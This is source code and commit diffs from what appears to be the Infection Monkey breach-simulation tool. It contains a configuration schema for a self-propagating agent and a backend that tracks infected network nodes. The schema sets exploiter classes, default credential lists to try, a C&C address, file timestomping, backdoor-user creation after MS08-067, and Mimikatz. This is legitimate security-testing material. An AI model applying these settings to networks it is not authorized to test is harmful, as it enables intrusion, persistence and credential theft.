"SSHFinger"
],
"title": "SSHFinger"
},
{
"type": "string",
"enum": [
"PingScanner"
],
"title": "PingScanner"
},
{
"type": "string",
"enum": [
"HTTPFinger"
],
"title": "HTTPFinger"
}
]
}
},
"properties": {
"monkey": {
"title": "Monkey",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"alive": {
"title": "Alive",
"type": "boolean",
"default": True,
"description": "Is the monkey alive"
},
"depth": {
"title": "Depth",
"type": "integer",
"default": 2,
"description": "Amount of hops allowed from this monkey to spread"
}
}
},
"behaviour": {
"title": "Behaviour",
"type": "object",
"properties": {
"self_delete_in_cleanup": {
"title": "Self delete on cleanup",
"type": "boolean",
"default": False,
"description": "Should the monkey delete its executable when going down"
},
"use_file_logging": {
"title": "Use file logging",
"type": "boolean",
"default": True,
"description": "Should the monkey dump to a log file"
},
"serialize_config": {
"title": "Serialize config",
"type": "boolean",
"default": False,
"description": "Should the monkey dump its config on startup"
}
}
},
"life_cycle": {
"title": "Life cycle",
"type": "object",
"properties": {
"max_iterations": {
"title": "Max iterations",
"type": "integer",
"default": 1,
"description": "Determines how many iterations of the monkey's full lifecycle should occur"
},
"victims_max_find": {
"title": "Max victims to find",
"type": "integer",
"default": 14,
"description": "Determines after how many discovered machines should the monkey stop scanning"
},
"victims_max_exploit": {
"title": "Max victims to exploit",
"type": "integer",
"default": 7,
"description": "Determines after how many infected machines should the monkey stop infecting"
},
"timeout_between_iterations": {
"title": "Wait time between iterations",
"type": "integer",
"default": 100,
"description": "Determines for how long (in seconds) should the monkey wait between iterations"
},
"retry_failed_explotation": {
"title": "Retry failed exploitation",
"type": "boolean",
"default": True,
"description": "Determines whether the monkey should retry exploiting machines it didn't successfuly exploit on previous iterations"
}
}
}
}
},
"internal": {
"title": "Internal",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"singleton_mutex_name": {
"title": "Singleton mutex name",
"type": "string",
"default": "{2384ec59-0df8-4ab9-918c-843740924a28}",
"description": "The name of the mutex used to determine whether the monkey is already running"
}
}
},
"classes": {
"title": "Classes",
"type": "object",
"properties": {
"scanner_class": {
"title": "Scanner class",
"type": "string",
"default": "TcpScanner",
"enum": [
"TcpScanner"
],
"enumNames": [
"TcpScanner"
],
"description": "Determines class to scan for machines. (Shouldn't be changed)"
},
"finger_classes": {
"title": "Fingerprint classes",
"type": "array",
"uniqueItems": True,
"items": {
"$ref": "#/definitions/finger_classes"
},
"default": [
"SMBFinger",
"SSHFinger",
"PingScanner",
"HTTPFinger"
],
"description": "Determines which classes to use for fingerprinting"
},
"exploiter_classes": {
"title": "Exploiter classes",
"type": "array",
"uniqueItems": True,
"items": {
"$ref": "#/definitions/exploiter_classes"
},
"default": [
"SmbExploiter",
"WmiExploiter",
"RdpExploiter",
"Ms08_067_Exploiter",
"SSHExploiter",
"ShellShockExploiter",
"SambaCryExploiter"
],
"description": "Determines which classes to use for exploiting"
}
}
},
"kill_file": {
"title": "Kill file",
"type": "object",
"properties": {
"kill_file_path_windows": {
"title": "Kill file path on Windows",
"type": "string",
"default": "C:\\Windows\\monkey.not",
"description": "Path of file which kills monkey if it exists (on Windows)"
},
"kill_file_path_linux": {
"title": "Kill file path on Linux",
"type": "string",
"default": "/var/run/monkey.not",
"description": "Path of file which kills monkey if it exists (on Linux)"
}
}
},
"dropper": {
"title": "Dropper",
"type": "object",
"properties": {
"dropper_set_date": {
"title": "Dropper sets date",
"type": "boolean",
"default": True,
"description": "Determines whether the dropper should set the monkey's file date to be the same as another file"
},
"dropper_date_reference_path": {
"title": "Droper date reference path",
"type": "string",
"default": "\\windows\\system32\\kernel32.dll",
"description": "Determines which file the dropper should copy the date from if it's configured to do so (use fullpath)"
},
"dropper_target_path_linux": {
"title": "Dropper target path on Linux",
"type": "string",
"default": "/tmp/monkey",
"description": "Determines where should the dropper place the monkey on a Linux machine"
},
"dropper_target_path": {
"title": "Dropper target path on Windows",
"type": "string",
"default": "C:\\Windows\\monkey.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine"
},
"dropper_try_move_first": {
"title": "Try to move first",
"type": "boolean",
"default": True,
"description": "Determines whether the dropper should try to move itself instead of copying itself to target path"
}
}
},
"logging": {
"title": "Logging",
"type": "object",
"properties": {
"dropper_log_path_linux": {
"title": "Dropper log file path on Linux",
"type": "string",
"default": "/tmp/user-1562",
"description": "The fullpath of the dropper log file on Linux"
},
"dropper_log_path_windows": {
"title": "Dropper log file path on Windows",
"type": "string",
"default": "C:\\Users\\user\\AppData\\Local\\Temp\\~df1562.tmp",
"description": "The fullpath of the dropper log file on Windows"
},
"monkey_log_path_linux": {
"title": "Monkey log file path on Linux",
"type": "string",
"default": "/tmp/user-1563",
"description": "The fullpath of the monkey log file on Linux"
},
"monkey_log_path_windows": {
"title": "Monkey log file path on Windows",
"type": "string",
"default":"C:\\Users\\user\\AppData\\Local\\Temp\\~df1563.tmp",
"description": "The fullpath of the monkey log file on Windows"
}
}
}
}
},
"cnc": {
"title": "C&C",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
}
},
"servers": {
"title": "Servers",
"type": "object",
"properties": {
"command_servers": {
"title": "Command servers",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"41.50.73.31:5000"
],
"description": "List of command servers to try and communicate with (format is <ip>:<port>)"
},
"internet_services": {
"title": "Internet services",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"monkey.guardicore.com",
"www.google.com"
],
"description": "List of internet services to try and communicate with to determine internet connectivity (use either ip or domain)"
},
"current_server": {
"title": "Current server",
"type": "string",
"default": "41.50.73.31:5000",
"description": "The current command server the monkey is communicating with"
}
}
}
}
},
"exploits": {
"title": "Exploits",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"skip_exploit_if_file_exist": {
"title": "Skip exploit if file exists",
"type": "boolean",
"default": True,
"description": "Determines whether the monkey should skip the exploit if the monkey's file is already on the remote machine"
}
}
},
"credentials": {
"title": "Credentials",
"type": "object",
"properties": {
"exploit_user_list": {
"title": "Exploit user list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"Administrator",
"root",
"user"
],
"description": "List of usernames to use on exploits using credentials"
},
"exploit_password_list": {
"title": "Exploit password list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"Password1!",
"1234",
"password",
"12345678"
],
"description": "List of password to use on exploits using credentials"
}
}
},
"ms08_067": {
"title": "MS08_067",
"type": "object",
"properties": {
"ms08_067_exploit_attempts": {
"title": "MS08_067 exploit attempts",
"type": "integer",
"default": 5,
"description": "Number of attempts to exploit using MS08_067"
},
"ms08_067_remote_user_add": {
"title": "MS08_067 remote user",
"type": "string",
"default": "Monkey_IUSER_SUPPORT",
"description": "Username to add on successful exploit"
},
"ms08_067_remote_user_pass": {
"title": "MS08_067 remote user password",
"type": "string",
"default": "Password1!",
"description": "Password to use for created user"
}
}
},
"rdp_grinder": {
"title": "RDP grinder",
"type": "object",
"properties": {
"rdp_use_vbs_download": {
"title": "Use VBS download",
"type": "boolean",
"default": True,
"description": "Determines whether to use VBS or BITS to download monkey to remote machine (true=VBS, false=BITS)"
}
}
},
"sambacry": {
"title": "SambaCry",
"type": "object",
"properties": {
"sambacry_trigger_timeout": {
"title": "SambaCry trigger timeout",
"type": "integer",
"default": 5,
"description": "Timeout (in seconds) of SambaCry trigger"
},
"sambacry_folder_paths_to_guess": {
"title": "SambaCry folder paths to guess",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
'/',
'/mnt',
'/tmp',
'/storage',
'/export',
'/share',
'/shares',
'/home'
],
"description": "List of full paths to share folder for SambaCry to guess"
},
"sambacry_shares_not_to_check": {
"title": "SambaCry shares not to check",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"IPC$", "print$"
],
"description": "These shares won't be checked when exploiting with SambaCry"
},
"sambacry_commandline_filename": {
"title": "SambaCry commandline filename",
"type": "string",
"default": "monkey_commandline.txt",
},
"sambacry_runner_result_filename": {
"title": "SambaCry runner result filename",
"type": "string",
"default": "monkey_runner_result",
},
"sambacry_runner_filename_32": {
"title": "SambaCry runner filename (32 bit)",
"type": "string",
"default": "sc_monkey_runner32.so",
},
"sambacry_runner_filename_64": {
"title": "SambaCry runner filename (64 bit)",
"type": "string",
"default": "sc_monkey_runner64.so",
},
"sambacry_monkey_filename_32": {
"title": "SambaCry monkey filename (32 bit)",
"type": "string",
"default": "monkey32",
},
"sambacry_monkey_filename_64": {
"title": "SambaCry monkey filename (64 bit)",
"type": "string",
"default": "monkey64",
},
"sambacry_monkey_copy_filename_32": {
"title": "SambaCry monkey copy filename (32 bit)",
"type": "string",
"default": "monkey32_2",
},
"sambacry_monkey_copy_filename_64": {
"title": "SambaCry monkey copy filename (64 bit)",
"type": "string",
"default": "monkey64_2",
}
}
},
"smb_service": {
"title": "SMB service",
"type": "object",
"properties": {
"smb_download_timeout": {
"title": "SMB download timeout",
"type": "integer",
"default": 300,
"description": "Timeout (in seconds) for SMB download operation (used in various exploits using SMB)"
},
"smb_service_name": {
"title": "SMB service name",
"type": "string",
"default": "InfectionMonkey",
"description": "Name of the SMB service that will be set up to download monkey"
}
}
}
}
},
"system_info": {
"title": "System info",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"collect_system_info": {
"title": "Collect system info",
"type": "boolean",
"default": True,
"description": "Determines whether to collect system info"
}
}
},
"mimikatz": {
"title": "Mimikatz",
"type": "object",
"properties": {
"mimikatz_dll_name": {
"title": "Mimikatz DLL name",
"type": "string",
"default": "mk.dll",
"description": "Name of Mimikatz DLL (should be the same as in the monkey's pyinstaller spec file)"
}
}
}
}
},
"network": {
"title": "Network",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"blocked_ips": {
"title": "Blocked IPs",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
],
"description": "List of IPs to not scan"
},
"local_network_scan": {
"title": "Local network scan",
"type": "boolean",
"default": True,
"description": "Determines whether monkey should scan its subnets additionally"
},
"network_range": {
"title": "Network range",
"type": "object",
"properties": {
"range_class": {
"title": "Range class",
"type": "string",
"default": "FixedRange",
"enum": [
"FixedRange",
"RelativeRange",
"ClassCRange"
],
"enumNames": [
"FixedRange",
"RelativeRange",
"ClassCRange"
],
"description": "Determines which class to use to determine scan range"
},
"range_size": {
"title": "Relative range size",
"type": "integer",
"default": 1,
"description": "Determines the size of the RelativeRange - amount of IPs to include"
},
"range_fixed": {
"title": "Fixed range IP list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"172.16.0.67"
],
"description": "List of IPs to include when using FixedRange"
}
}
}
}
},
"tcp_scanner": {
"title": "TCP scanner",
"type": "object",
"properties": {
"HTTP_PORTS": {
"title": "HTTP ports",
"type": "array",
"uniqueItems": True,
"items": {
"type": "integer"
},
"default": [
80,
8080,
443,
8008
],
"description": "List of ports the monkey will check if are being used for HTTP"
},
"tcp_target_ports": {
"title": "TCP target ports",
"type": "array",
"uniqueItems": True,
"items": {
"type": "integer"
},
"default": [
22,
2222,
445,
135,
3389,
80,
8080,
443,
8008
],
"description": "List of TCP ports the monkey will check whether they're open"
},
"tcp_scan_interval": {
"title": "TCP scan interval",
"type": "integer",
"default": 200,
"description": "Time to sleep (in milliseconds) between scans"
},
"tcp_scan_timeout": {
"title": "TCP scan timeout",
"type": "integer",
"default": 3000,
"description": "Maximum time (in milliseconds) to wait for TCP response"
},
"tcp_scan_get_banner": {
"title": "TCP scan - get banner",
"type": "boolean",
"default": True,
"description": "Determines whether the TCP scan should try to get the banner"
}
}
},
"ping_scanner": {
"title": "Ping scanner",
"type": "object",
"properties": {
"ping_scan_timeout": {
"title": "Ping scan timeout",
"type": "integer",
"default": 1000,
"description": "Maximum time (in milliseconds) to wait for ping response"
}
}
}
}
}
},
"options": {
"collapsed": True
}
}
class ConfigService:
def __init__(self):
pass
@staticmethod
def get_config():
config = mongo.db.config.find_one({'name': 'newconfig'}) or {}
for field in ('name', '_id'):
config.pop(field, None)
return config
@staticmethod
def get_flat_config():
config_json = ConfigService.get_config()
flat_config_json = {}
for i in config_json:
for j in config_json[i]:
for k in config_json[i][j]:
flat_config_json[k] = config_json[i][j][k]
return flat_config_json
@staticmethod
def get_config_schema():
return SCHEMA
@staticmethod
def creds_add_username(username):
mongo.db.config.update(
{'name': 'newconfig'},
{'$addToSet': {'exploits.credentials.exploit_user_list': username}},
upsert=False
)
@staticmethod
def creds_add_password(password):
mongo.db.config.update(
{'name': 'newconfig'},
{'$addToSet': {'exploits.credentials.exploit_password_list': password}},
upsert=False
)
@staticmethod
def update_config():
pass

View File

@ -1,11 +1,15 @@
from bson import ObjectId from bson import ObjectId
from cc.database import mongo from cc.database import mongo
import cc.services.node
__author__ = "itay.mizeretz" __author__ = "itay.mizeretz"
class EdgeService: class EdgeService:
def __init__(self):
pass
@staticmethod @staticmethod
def get_displayed_edge_by_id(edge_id): def get_displayed_edge_by_id(edge_id):
edge = mongo.db.edge.find({"_id": ObjectId(edge_id)})[0] edge = mongo.db.edge.find({"_id": ObjectId(edge_id)})[0]
@ -26,11 +30,10 @@ class EdgeService:
os = {} os = {}
exploits = [] exploits = []
if len(edge["scans"]) > 0: if len(edge["scans"]) > 0:
services = edge["scans"][-1]["data"]["services"] services = EdgeService.services_to_displayed_services(edge["scans"][-1]["data"]["services"])
os = edge["scans"][-1]["data"]["os"] os = edge["scans"][-1]["data"]["os"]
for exploit in edge["exploits"]: for exploit in edge["exploits"]:
new_exploit = EdgeService.exploit_to_displayed_exploit(exploit) new_exploit = EdgeService.exploit_to_displayed_exploit(exploit)
if (len(exploits) > 0) and (exploits[-1]["exploiter"] == exploit["exploiter"]): if (len(exploits) > 0) and (exploits[-1]["exploiter"] == exploit["exploiter"]):
@ -66,22 +69,15 @@ class EdgeService:
def exploit_to_displayed_exploit(exploit): def exploit_to_displayed_exploit(exploit):
user = "" user = ""
password = "" password = ""
result = False
# TODO: implement for other exploiters # TODO: The format that's used today to get the credentials is bad. Change it from monkey side and adapt.
result = exploit["data"]["result"]
if exploit["exploiter"] == "RdpExploiter": if result:
# TODO: check if there could be multiple creds if "creds" in exploit["data"]["machine"]:
result = exploit["data"]["result"] user = exploit["data"]["machine"]["creds"].keys()[0]
user = exploit["data"]["machine"]["creds"].keys()[0] password = exploit["data"]["machine"]["creds"][user]
password = exploit["data"]["machine"]["creds"][user] else:
if ("user" in exploit["data"]) and ("password" in exploit["data"]):
elif exploit["exploiter"] == "SmbExploiter":
result = exploit["data"]["result"]
if result:
user = exploit["data"]["machine"]["cred"].keys()[0]
password = exploit["data"]["machine"]["cred"][user]
else:
user = exploit["data"]["user"] user = exploit["data"]["user"]
password = exploit["data"]["password"] password = exploit["data"]["password"]
@ -91,4 +87,102 @@ class EdgeService:
"user": user, "user": user,
"password": password, "password": password,
"result": result, "result": result,
} }
@staticmethod
def insert_edge(from_id, to_id):
edge_insert_result = mongo.db.edge.insert_one(
{
"from": from_id,
"to": to_id,
"scans": [],
"exploits": [],
"tunnel": False,
"exploited": False
})
return mongo.db.edge.find_one({"_id": edge_insert_result.inserted_id})
@staticmethod
def get_or_create_edge(edge_from, edge_to):
tunnel_edge = mongo.db.edge.find_one({"from": edge_from, "to": edge_to})
if tunnel_edge is None:
tunnel_edge = EdgeService.insert_edge(edge_from, edge_to)
return tunnel_edge
@staticmethod
def generate_pseudo_edge(edge_id, edge_from, edge_to):
return \
{
"id": edge_id,
"from": edge_from,
"to": edge_to,
"group": "island"
}
@staticmethod
def get_monkey_island_pseudo_edges():
edges = []
monkey_ids = [x["_id"] for x in mongo.db.monkey.find({}) if "tunnel" not in x]
# We're using fake ids because the frontend graph module requires unique ids.
# Collision with real id is improbable.
count = 0
for monkey_id in monkey_ids:
count += 1
edges.append(EdgeService.generate_pseudo_edge(
ObjectId(hex(count)[2:].zfill(24)), monkey_id, ObjectId("000000000000000000000000")))
return edges
@staticmethod
def get_infected_monkey_island_pseudo_edges():
monkey = cc.services.node.NodeService.get_monkey_island_monkey()
existing_ids = [x["_id"] for x in mongo.db.edge.find({"to": monkey["_id"]})]
monkey_ids = [x["_id"] for x in mongo.db.monkey.find({})
if ("tunnel" not in x) and (x["_id"] not in existing_ids)]
edges = []
# We're using fake ids because the frontend graph module requires unique ids.
# Collision with real id is improbable.
count = 0
for monkey_id in monkey_ids:
count += 1
edges.append(EdgeService.generate_pseudo_edge(
ObjectId(hex(count)[2:].zfill(24)), monkey_id, monkey["_id"]))
return edges
@staticmethod
def services_to_displayed_services(services):
# TODO: Consider returning extended information on services.
return [x + ": " + services[x]["name"] for x in services]
@staticmethod
def edge_to_net_edge(edge):
return \
{
"id": edge["_id"],
"from": edge["from"],
"to": edge["to"],
"group": EdgeService.get_edge_group(edge)
}
@staticmethod
def get_edge_group(edge):
if edge["exploited"]:
return "exploited"
if edge["tunnel"]:
return "tunnel"
if (len(edge["scans"]) > 0) or (len(edge["exploits"]) > 0):
return "scan"
return "empty"
@staticmethod
def set_edge_exploited(edge):
mongo.db.edge.update(
{"_id": edge["_id"]},
{"$set": {"exploited": True}}
)
cc.services.node.NodeService.set_node_exploited(edge["to"])

View File

@ -1,15 +1,20 @@
from datetime import datetime
from bson import ObjectId from bson import ObjectId
from cc.database import mongo from cc.database import mongo
from cc.services.edge import EdgeService from cc.services.edge import EdgeService
from cc.utils import local_ip_addresses
__author__ = "itay.mizeretz" __author__ = "itay.mizeretz"
class NodeService: class NodeService:
def __init__(self):
pass
@staticmethod @staticmethod
def get_displayed_node_by_id(node_id): def get_displayed_node_by_id(node_id):
if ObjectId(node_id) == NodeService.get_monkey_island_pseudo_id():
return NodeService.get_monkey_island_node()
edges = EdgeService.get_displayed_edges_by_to(node_id) edges = EdgeService.get_displayed_edges_by_to(node_id)
accessible_from_nodes = [] accessible_from_nodes = []
@ -17,31 +22,27 @@ class NodeService:
new_node = {"id": node_id} new_node = {"id": node_id}
node = mongo.db.node.find_one({"_id": ObjectId(node_id)}) node = NodeService.get_node_by_id(node_id)
if node is None: if node is None:
monkey = mongo.db.monkey.find_one({"_id": ObjectId(node_id)}) monkey = NodeService.get_monkey_by_id(node_id)
if monkey is None: if monkey is None:
return new_node return new_node
# node is infected # node is infected
new_node = NodeService.monkey_to_net_node(monkey)
for key in monkey: for key in monkey:
# TODO: do something with tunnel if key not in ["_id", "modifytime", "parent", "dead", "config"]:
if key not in ["_id", "modifytime", "parent", "tunnel", "tunnel_guid"]:
new_node[key] = monkey[key] new_node[key] = monkey[key]
new_node["os"] = NodeService.get_monkey_os(monkey)
new_node["label"] = NodeService.get_monkey_label(monkey)
new_node["group"] = NodeService.get_monkey_group(monkey)
else: else:
# node is uninfected # node is uninfected
new_node = NodeService.node_to_net_node(node)
new_node["ip_addresses"] = node["ip_addresses"] new_node["ip_addresses"] = node["ip_addresses"]
new_node["group"] = "clean"
for edge in edges: for edge in edges:
accessible_from_nodes.append({"id": edge["from"]}) accessible_from_nodes.append({"id": edge["from"]})
for exploit in edge["exploits"]: for exploit in edge["exploits"]:
exploit["origin"] = edge["from"] exploit["origin"] = NodeService.get_monkey_label(NodeService.get_monkey_by_id(edge["from"]))
exploits.append(exploit) exploits.append(exploit)
exploits.sort(cmp=NodeService._cmp_exploits_by_timestamp) exploits.sort(cmp=NodeService._cmp_exploits_by_timestamp)
@ -50,19 +51,18 @@ class NodeService:
new_node["accessible_from_nodes"] = accessible_from_nodes new_node["accessible_from_nodes"] = accessible_from_nodes
if len(edges) > 0: if len(edges) > 0:
new_node["services"] = edges[-1]["services"] new_node["services"] = edges[-1]["services"]
new_node["os"] = edges[-1]["os"]["type"]
if "label" not in new_node:
new_node["label"] = edges[-1]["os"]["version"] + " : " + node["ip_addresses"][0]
# TODO: add exploited by
return new_node return new_node
@staticmethod
def get_node_label(node):
return node["os"]["version"] + " : " + node["ip_addresses"][0]
@staticmethod @staticmethod
def _cmp_exploits_by_timestamp(exploit_1, exploit_2): def _cmp_exploits_by_timestamp(exploit_1, exploit_2):
if exploit_1["timestamp"] == exploit_2["timestamp"]: if exploit_1["start_timestamp"] == exploit_2["start_timestamp"]:
return 0 return 0
if exploit_1["timestamp"] > exploit_2["timestamp"]: if exploit_1["start_timestamp"] > exploit_2["start_timestamp"]:
return 1 return 1
return -1 return -1
@ -86,12 +86,26 @@ class NodeService:
@staticmethod @staticmethod
def get_monkey_label(monkey): def get_monkey_label(monkey):
return monkey["hostname"] + " : " + monkey["ip_addresses"][0] label = monkey["hostname"] + " : " + monkey["ip_addresses"][0]
ip_addresses = local_ip_addresses()
if len(set(monkey["ip_addresses"]).intersection(ip_addresses)) > 0:
label = "MonkeyIsland - " + label
return label
@staticmethod @staticmethod
def get_monkey_group(monkey): def get_monkey_group(monkey):
if len(set(monkey["ip_addresses"]).intersection(local_ip_addresses())) != 0:
return "islandInfected"
return "manuallyInfected" if NodeService.get_monkey_manual_run(monkey) else "infected" return "manuallyInfected" if NodeService.get_monkey_manual_run(monkey) else "infected"
@staticmethod
def get_node_group(node):
if node["exploited"]:
return "exploited"
else:
return "clean"
@staticmethod @staticmethod
def monkey_to_net_node(monkey): def monkey_to_net_node(monkey):
return \ return \
@ -105,26 +119,122 @@ class NodeService:
@staticmethod @staticmethod
def node_to_net_node(node): def node_to_net_node(node):
os_version = "undefined"
os_type = "undefined"
found = False
# TODO: Set this as data when received
for edge in mongo.db.edge.find({"to": node["_id"]}):
for scan in edge["scans"]:
if scan["scanner"] != "TcpScanner":
continue
os_type = scan["data"]["os"]["type"]
if "version" in scan["data"]["os"]:
os_version = scan["data"]["os"]["version"]
found = True
break
if found:
break
return \ return \
{ {
"id": node["_id"], "id": node["_id"],
"label": os_version + " : " + node["ip_addresses"][0], "label": NodeService.get_node_label(node),
"group": "clean", "group": NodeService.get_node_group(node),
"os": os_type "os": node["os"]["type"]
} }
@staticmethod
def unset_all_monkey_tunnels(monkey_id):
mongo.db.monkey.update(
{"_id": monkey_id},
{'$unset': {'tunnel': ''}},
upsert=False)
mongo.db.edge.update(
{"from": monkey_id, 'tunnel': True},
{'$set': {'tunnel': False}},
upsert=False)
@staticmethod
def set_monkey_tunnel(monkey_id, tunnel_host_id):
NodeService.unset_all_monkey_tunnels(monkey_id)
mongo.db.monkey.update(
{"_id": monkey_id},
{'$set': {'tunnel': tunnel_host_id}},
upsert=False)
tunnel_edge = EdgeService.get_or_create_edge(monkey_id, tunnel_host_id)
mongo.db.edge.update({"_id": tunnel_edge["_id"]},
{'$set': {'tunnel': True}},
upsert=False)
@staticmethod
def insert_node(ip_address):
new_node_insert_result = mongo.db.node.insert_one(
{
"ip_addresses": [ip_address],
"exploited": False,
"os":
{
"type": "unknown",
"version": "unknown"
}
})
return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id})
@staticmethod
def get_or_create_node(ip_address):
new_node = mongo.db.node.find_one({"ip_addresses": ip_address})
if new_node is None:
new_node = NodeService.insert_node(ip_address)
return new_node
@staticmethod
def get_monkey_by_id(monkey_id):
return mongo.db.monkey.find_one({"_id": ObjectId(monkey_id)})
@staticmethod
def get_monkey_by_guid(monkey_guid):
return mongo.db.monkey.find_one({"guid": monkey_guid})
@staticmethod
def get_monkey_by_ip(ip_address):
return mongo.db.monkey.find_one({"ip_addresses": ip_address})
@staticmethod
def get_node_by_ip(ip_address):
return mongo.db.node.find_one({"ip_addresses": ip_address})
@staticmethod
def get_node_by_id(node_id):
return mongo.db.node.find_one({"_id": ObjectId(node_id)})
@staticmethod
def update_monkey_modify_time(monkey_id):
mongo.db.monkey.update({"_id": monkey_id},
{"$set": {"modifytime": datetime.now()}},
upsert=False)
@staticmethod
def set_monkey_dead(monkey, is_dead):
mongo.db.monkey.update({"guid": monkey['guid']},
{'$set': {'dead': is_dead}},
upsert=False)
@staticmethod
def get_monkey_island_monkey():
ip_addresses = local_ip_addresses()
for ip_address in ip_addresses:
monkey = NodeService.get_monkey_by_ip(ip_address)
if monkey is not None:
return monkey
return None
@staticmethod
def get_monkey_island_pseudo_id():
return ObjectId("000000000000000000000000")
@staticmethod
def get_monkey_island_pseudo_net_node():
return\
{
"id": NodeService.get_monkey_island_pseudo_id(),
"label": "MonkeyIsland",
"group": "islandClean",
}
@staticmethod
def get_monkey_island_node():
island_node = NodeService.get_monkey_island_pseudo_net_node()
island_node["ip_addresses"] = local_ip_addresses()
return island_node
@staticmethod
def set_node_exploited(node_id):
mongo.db.node.update(
{"_id": node_id},
{"$set": {"exploited": True}}
)

View File

@ -11,36 +11,6 @@ from cc.database import mongo
__author__ = 'Barak' __author__ = 'Barak'
# data structures
def creds_add_username(username):
mongo.db.usernames.update(
{'username': username},
{'$inc': {'count': 1}},
upsert=True
)
def creds_add_password(password):
mongo.db.passwords.update(
{'password': password},
{'$inc': {'count': 1}},
upsert=True
)
def init_collections(usernames, passwords):
if "usernames" not in mongo.db.collection_names():
mongo.db.usernames.create_index([("username", 1)], unique=True)
for username in usernames:
creds_add_username(username)
if "passwords" not in mongo.db.collection_names():
mongo.db.passwords.create_index([("password", 1)], unique=True)
for password in passwords:
creds_add_password(password)
# Local ips function # Local ips function
if sys.platform == "win32": if sys.platform == "win32":
def local_ips(): def local_ips():